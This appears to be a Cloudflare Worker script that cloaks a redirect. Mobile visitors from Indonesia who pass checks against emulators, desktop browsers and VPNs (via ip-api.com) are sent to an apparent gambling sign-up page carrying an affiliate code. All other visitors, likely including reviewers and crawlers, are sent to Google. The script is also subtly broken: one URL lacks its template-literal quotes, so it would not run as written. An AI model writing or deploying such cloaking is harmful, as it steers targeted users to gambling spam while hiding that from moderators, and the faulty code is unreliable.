export default { async fetch(request) { const userAgent = request.headers.get("User-Agent") || ""; const country = request.headers.get("CF-IPCountry") || "XX"; const ip = request.headers.get("CF-Connecting-IP"); const isMobile = /android|iphone|ipad|ipod|opera mini|mobile/i.test(userAgent); const isEmulator = /HeadlessChrome|wv|Windows NT|Macintosh|Linux x86_64/i.test(userAgent); const checkVPNProxy = async (ip) => { const controller = new AbortController(); const timeout = setTimeout(() => controller.abort(), 4000); try { const url = http://ip-api.com/json/${ip}?fields=proxy,hosting,query,countryCode; const response = await fetch(url, { signal: controller.signal }); const data = await response.json(); clearTimeout(timeout); return { country: data.countryCode || "XX", isVPN: data.proxy || data.hosting, }; } catch (e) { return { country: "XX", isVPN: false }; } }; let isVPNUser = false; let userCountry = country; if (ip) { const ipInfo = await checkVPNProxy(ip); userCountry = ipInfo.country; isVPNUser = ipInfo.isVPN; } if (isMobile && userCountry === "ID" && !isEmulator && !isVPNUser) { return Response.redirect("https://titanbet138-a15.shop/daftar2?ref=AGACQ1189945", 302); } return Response.redirect("https://www.google.com/", 302); } };